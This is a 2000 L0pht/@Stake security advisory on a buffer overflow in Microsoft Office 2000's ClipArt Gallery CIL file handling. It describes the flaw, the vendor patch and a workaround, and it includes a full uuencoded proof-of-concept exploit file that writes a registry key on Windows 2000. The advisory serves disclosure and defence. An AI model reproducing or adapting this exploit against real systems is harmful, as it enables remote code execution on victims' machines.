@Stake Inc.
                          L0pht Research Labs
                    www.atstake.com     www.L0pht.com


                           Security Advisory       

       
        Advisory Name: ClipArt Gallery Overflow
    Advisory Released: 03/06/00
          Application: Microsoft Office 2000
             Severity: An attacker can seize control of a Windows 95, 98, NT,
                       or 2000 machine via any HTML source, including 
                       Microsoft Outlook e-mail.
               Status: Vendor patch available, workaround available
               Author: dildog@l0pht.com
                  WWW: http://www.l0pht.com/advisories.html
                     

Overview:

  ClipArt Gallery (CAG.EXE) that comes with Microsoft Office 2000
processes ".CIL" files for installation of clipart from the Internet. The
CIL format is not handled properly by CAG.EXE and one of the internal fields
in the file presents a buffer overflow condition, allowing arbitrary code to
be executed by an attacker. The attacker would place a malicious CIL file
on a website, or in an email, causing the target to import the CIL file. The
file will be opened without prompting as the CIL file format does not require 
confirmation for open after download. This issue requires NO active scripting 
to exploit, and is NOT regulated by Internet Explorer 'security zones'.


Description:

  The ".CIL" file format is a compressed clip-art delivery format that
takes a Windows Metafile (WMF) or other image, stores it compressed, and
packages it with keywords and descriptive information. Amongst the various 
fields in the CIL format are a few Unicode strings, one of which is the 
filename to which the clipart is to be decompressed. If the filename specified 
is extremely long, a stack overflow occurs after a Unicode to ANSI conversion, 
copying the ANSI version of the buffer over the stack frame. 

  Unfortunately, the current fix for this issue is really only a
bandaid to the problem that Internet Explorer is used -for everything-
nowadays and that its HTML parser allows random file formats to be
downloaded and parsed without confirmation in a number of cases. One can
expect to see similar issues to this in the future.

Vendor provided fix:

  Get your patch here:

      http://www.microsoft.com/technet/security/bulletin/ms00-015.asp


Quick solution:

  One may wish to go through all of the file type associations and
turn on the 'Confirm Open After Download' checkbox to ensure that suspect
file types are not automatically executed without user intervention.

  To do this in Windows 2000, open up a standard Explorer window (such as 
My Computer), and go to the Tools menu and choose "Folder Options". Under the 
"File Types" tab, go to the "CIL" file type and click on it. Now press the
"Advanced" button. You will notice that the checkbox "Confirm Open After Download"
is unchecked. Check it, and then click OK.

Exploit:

  This CIL file will create a harmless registry key when opened. The 
registry key location is:

  HKLM\Software\Microsoft\Windows:dword,SMACK!=0x00000001

This is proof of concept code only, but theoretically could be any executable
code desired. This code works only on Windows 2000, but shifting around a
few offsets yields code that works under Windows NT 4.0 and Win9X.


<--- cut here --->

begin 644 nt5.cil
M4P!0`$P`20!4`$,`20!,`#,```"T$```U\W&F@``XO_B__H+^@M>`@````!/
M50$`"0```T\(```#`#P!``````4````,`ML+VPL%````"P(`````!`````4!
M`0`$````!`$-``0````&`0$`!`````(!`@`%`````0+___\`!````"X!&``(
M````^@(`````````````!````"T!```%`````0+___\`!P```/P"````````
M```$````+0$!``@```#Z`@```0`!```````$````+0$"``0```#P`0``.`$`
M`"0#F@"=`H@!:@./`8@#AP&]`ZP!M`.2`:L#D@&/`W(!8P-^`;D"70'P`C@!
M3@,``;$#T0`7!*@`@`2(`.L$<`!7!6$`Q059`.`%60#_!5D`_P4``(T%`P`=
M!0X`K@0B`$$$/@#6`V$`;@.-``H#P`"J`OH`3@([`?@!@P&G`=$!7`$F`A<!
M?P+9`-T"HP!``W0`I@-,``\$+0![!!4`Z@0&`%D%___*!?__X`54`.`%60!S
M!6<`!@5^`)P$G``R!,,`RP/Q`&@#)P$(`V,!K0*F`5<"\`$&`AH"X`$8`N\!
M%@(B`C\"*0(O`SL",0-?`CD#=P(]`Q,#1@.$`T\#N0-A`_4#<P,6!'X#*028
M`VP$L0/'!,\#'07>`T<%\@-I!04$B04>!+8%&P3'!1T$U@4F!.`%X`7@!>`%
MOP/3!;\#MP7&`Y0%VP.*!>,#<P7L`UP%!`1-!1T$/`4W!#`%E@0E!:P$+07=
M!#4%[`1/!?H$7P4=!6P%005P!5$%7@5+!54%2`5`!40%-P4[!2X%,P48!2X%
M"P4>!?L$&P7K!`X%R`3Z!+L$\`2>!,@$=@1_!%8$3`0L!"$$*@0#!"$$W@/>
M`T,#U`,F`\(#Y0*Y`XD"X`-K`NP#60(*!'$"(`1E`EX$8`),!7\"3@6*`D$%
MD0*#!'\"7@1@`B$$90):!*`"4`6G`F4%FP)L!7\"X`6'`N`%_P$J!)4!#@1O
M`14$6P&S`V0!OP.'`;H#CP&T`Y(!O0.L`;\#GP'9`Z,!&`3F`04$\@'U`^$!
MY`/6`<T#U@&]`\<!JP/*`94#PP&$`\8!;P._`5L#R0&=`H@!"````/H"```(
M``@```````0````M`0``!````/`!`@`X`0``)0.:`)T"B`%J`X\!B`.'`;T#
MK`&T`Y(!JP.2`8\#<@%C`WX!N0)=`?`".`%.`P`!L0/1`!<$J`"`!(@`ZP1P
M`%<%80#%!5D`X`59`/\%60#_!0``C04#`!T%#@"N!"(`000^`-8#80!N`XT`
M"@/``*H"^@!.`CL!^`&#`:<!T0%<`28"%P%_`MD`W0*C`$`#=`"F`TP`#P0M
M`'L$%0#J!`8`607__\H%___@!50`X`59`',%9P`&!7X`G`2<`#($PP#+`_$`
M:`,G`0@#8P&M`J8!5P+P`08"&@+@`1@"[P$6`B("/P(I`B\#.P(Q`U\".0-W
M`CT#$P-&`X0#3P.Y`V$#]0-S`Q8$?@,I!)@#;`2Q`\<$SP,=!=X#1P7R`VD%
M!02)!1X$M@4;!,<%'036!28$X`7@!>`%X`6_`],%OP.W!<8#E`7;`XH%XP-S
M!>P#7`4$!$T%'00\!3<$,`66!"4%K`0M!=T$-07L!$\%^@1?!1T%;`5!!7`%
M405>!4L%505(!4`%1`4W!3L%+@4S!1@%+@4+!1X%^P0;!>L$#@7(!/H$NP3P
M!)X$R`1V!'\$5@1,!"P$(00J!`,$(03>`]X#0P/4`R8#P@/E`KD#B0+@`VL"
M[`-9`@H$<0(@!&4"7@1@`DP%?P).!8H"0061`H,$?P)>!&`"(01E`EH$H`)0
M!:<"906;`FP%?P+@!8<"X`7_`2H$E0$.!&\!%01;`;,#9`&_`X<!N@./`;0#
MD@&]`ZP!OP.?`=D#HP$8!.8!!03R`?4#X0'D`]8!S0/6`;T#QP&K`\H!E0/#
M`80#Q@%O`[\!6P/)`9T"B`$(````^@(```$``0``````!````"T!`@`$````
M\`$``(X````D`T4`_P6)`M$&H@+<!L<"]`;9`CX'\P([!PT#&`>G`P@'X0/W
M!B($]P9L!/<&L`3P!LP$YP;J!-P&#`7.!A$%Q`8<!;@&*P6N!BT%I`8T!9T&
M0P64!DD%B@9,!74&505Z!BL%B`8*!84&[@2,!L8$CP:3!(4&:@1\!B\$9P8-
M!&P&``1L!NP#3`;&`_\%O@/_!>`%:`?@!5H'R@5L!Y8%E`<D!:,'P`2Z!Q8$
MN0?>`Z8'3@.L!]4"IP>S`J,'J0+'!ZL"S`?%`J<'LP*L!]4"T`?T`N('YP+@
M!Z`"G`BS`NP(N0+G"*`"D0B=`MD'=`+`!WH"F@=U`HH'7P)^!U`"6P=!`B\'
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
M[@BR!"()J01M"8D$#0I_!)<*=`30"FL$[@IM!"D+8@1:"_`#-`N+`PD+*@/6
M"LT"G`IT`EP*(0(5"M0!QPF,`70)2P$<"1$!O@C?`%X(LP#Y!Y``D0=U`"<'
M8@"[!E<`3@95`/P%5`#@!?__X`4!`#H&"P"J!AT`&0<W`(<'60#R!X0`6@BV
M`+\([P`@"2\!?0EV`=0)PP$F"A<"<@IO`K@*S0+W"BX#+PN4`U\+_0.("VD$
MJ`O6!,$+1@71"[8%V@OQ!=H+\064"^`%E`O@!?P%*03\!0@```#Z`@```0`!
M```````$````+0$"``0```#P`0``#@```"0#!0!5`/P%5`#@!28$X`4I!/P%
M50#\!0@```#Z`@``"``(```````$````+0$```0```#P`0(`#@```"4#!0!5
M`/P%5`#@!28$X`4I!/P%50#\!0@```#Z`@```0`!```````$````+0$"``0`
M``#P`0``#@```"0#!0#@!;\#X`6'`O\%B0+_!;X#X`6_`P@```#Z`@``"``(
M```````$````+0$```0```#P`0(`#@```"4#!0#@!;\#X`6'`O\%B0+_!;X#
MX`6_`P@```#Z`@```0`!```````$````+0$"``0```#P`0``#@```"0#!0#@
M!?\!X`59`/\%60#_!00"X`7_`0@```#Z`@``"``(```````$````+0$```0`
M``#P`0(`#@```"4#!0#@!?\!X`59`/\%60#_!00"X`7_`0@```#Z`@```0`!
M```````$````+0$"``0```#P`0``#@```"0#!0!O!_P%:`?@!8X+X`6."_P%
M;P?\!0@```#Z`@``"``(```````$````+0$```0```#P`0(`#@```"4#!0!O
M!_P%:`?@!8X+X`6."_P%;P?\!0,``````&8`9@!F`&8`9@!F`&8`9@!F`&8`
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F
M`&8`2P!^`'T`9P!!`$$`00`M`"T`+0`M`"T`9@!F`)``ZP`6`"P`$`!]`&<`
M*``0`'T`9P`D`!``?0!G`!@`[P"_`/\`D`"0`)``D`#K``4`Z`#Y`/\`_P#_
M`%X`@0#&`.4`_P#_`/\`D`"0`)``5@!8`($`Z`!\`/\`_P#_`%``]@`0`$``
M9@"!`#@``P`#`'4`]@!?`)``D`#_`#8`60!6`%<`N`#]`/\`_P!_`/<`T`!0
M`/\`$0"0`/\`-@!:`)``,P#)`$D`,P#``/(`K@"0`#,`R0`"``\`40!'`%<`
M`P#Y`)``N`#\`/\`_P#_`/<`V`!0`#,`P`!0`%<`4@`#`$8`!`#_`!``5@`#
M`$8`"`#_`!``4``S`,```P!&``P`]P#8`/\`$`"0`*P`L`"Y`*L`J`"^`*T`
MN@"C`+(`M@"\`*T`L`"L`+``N0"K`*,`J`"V`+$`NP"P`*@`K`#_`/L`_@#_
M`/\`_P"L`+(`O@"\`+0`W@#_``,``P`#`&8`9@!F`&8`9@!F````9@!F`&8`
M9@!F`&8`9@```&8`9@!F`&8`9@!F`&8```!F`&8`9@!F`&8`9@!F`&8`9@!F
)`&8`9@``````
`
end

<--- cut here --->


dildog@l0pht.com 

  [ For more advisories check out http://www.l0pht.com/advisories.html ]
                                         L-ZERO-P-H-T